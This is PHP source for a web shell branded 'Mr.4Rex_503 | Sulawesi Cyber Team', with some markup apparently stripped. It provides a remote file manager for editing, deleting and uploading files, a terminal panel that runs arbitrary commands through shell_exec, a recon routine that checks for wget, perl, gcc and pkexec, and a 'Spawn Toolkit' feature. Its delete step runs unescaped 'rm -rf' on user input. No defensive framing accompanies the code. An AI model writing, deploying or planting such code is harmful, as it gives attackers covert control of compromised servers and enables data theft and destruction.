document.addEventListener('DOMContentLoaded', () => { showToast('".addslashes($message)."'); });"; } // --- Fungsi Helper Asli --- function saveme($name, $content) { $open = fopen($name, "w"); if ($open) { fwrite($open, $content); fclose($open); return true; } return false; } function renames($item, $path, $name) { ?>

Rename:

'$name' successfully renamed"); echo ""; } else { echo "

Rename failed

"; } } } function Size($path) { $bytes = sprintf('%u', filesize($path)); if ($bytes > 0) { $unit = intval(log($bytes, 1024)); $units = array('B', 'KB', 'MB', 'GB'); if (array_key_exists($unit, $units) === true) { return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]); } } return $bytes; } function infomin() { $curl = (function_exists("curl_version")) ? "ON" : "OFF"; $wget = (@shell_exec("wget --help")) ? "ON" : "OFF"; $python = (@shell_exec("python --help")) ? "ON" : "OFF"; $perl = (@shell_exec("perl --help")) ? "ON" : "OFF"; $ruby = (@shell_exec("ruby --help")) ? "ON" : "OFF"; $gcc = (@shell_exec("gcc --help")) ? "ON" : "OFF"; $pkexec = (@shell_exec("pkexec --version")) ? "ON" : "OFF"; $disfuncs = @ini_get("disable_functions"); $showit = (!empty($disfuncs)) ? "$disfuncs" : "NONE"; echo "
"; echo "

System Info

"; echo "
"; echo "OS: ".php_uname()."
"; echo "SERVER IP: ".$_SERVER["SERVER_ADDR"]."
"; echo "SOFTWARE: ".$_SERVER["SERVER_SOFTWARE"]."
"; echo "Disabled Functions: $showit
"; echo "TOOLS: CURL: $curl | WGET: $wget | PERL: $perl | RUBY: $ruby | PYTHON: $python | GCC: $gcc | PKEXEC: $pkexec"; echo "
"; } function hi_permission($items) { $perms = fileperms($items); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } // --- MAIN LOGIC --- $path = isset($_GET["path"]) ? $_GET["path"] : getcwd(); $action = isset($_GET["action"]) ? $_GET["action"] : ""; ?> Mr.4Rex_503 | Sulawesi Cyber Team
Mr.4Rex_503 | Sulawesi Cyber Team
SERVER IP:
SYS: ONLINE
ROOT@SYSTEM:~#
+Folder +File Upload Command Info Min
Items Size Permission Action
--- ".hi_permission($path."/".$folders).""; } else { echo "".hi_permission($path."/".$folders).""; } ?>
".hi_permission($path."/".$files).""; } else { echo "".hi_permission($path."/".$files).""; } ?>

View:

Edit:

window.location = '?path=$path&action=edit&file=$file'"; } else { echo "Edit $file_name failed"; } } ?>
window.location = '?path=$path'"; } else { echo "Delete $file_name failed"; } } elseif ($action == "delete" && $folder) { if (is_dir($folder)) { if (is_writable($folder)) { @rmdir($folder); @shell_exec("rm -rf $folder"); @shell_exec("rmdir /s /q $folder"); showToast("$folder_name Deleted"); echo ""; } else { echo "Delete $folder_name failed"; } } } elseif ($action == "createfile") { ?>

Create New File

window.location = '?path=".htmlspecialchars($path)."'"; } else { echo "Create file failed"; } } ?>

Create New Directory

window.location = '?path=".htmlspecialchars($path)."'"; } else { echo "Create folder failed"; } } ?>

Upload File

window.location = '?path=".htmlspecialchars($path)."'"; } else { echo "
Upload fail
"; } } ?>

Terminal Command

root@system:~$
".htmlspecialchars(@shell_exec($cmd))."
"; } ?>
"; if ($save) { showToast("Spawn Toolkit tools.php success"); echo ""; } else { echo "Spawn Toolkit failed"; } echo ""; } ?>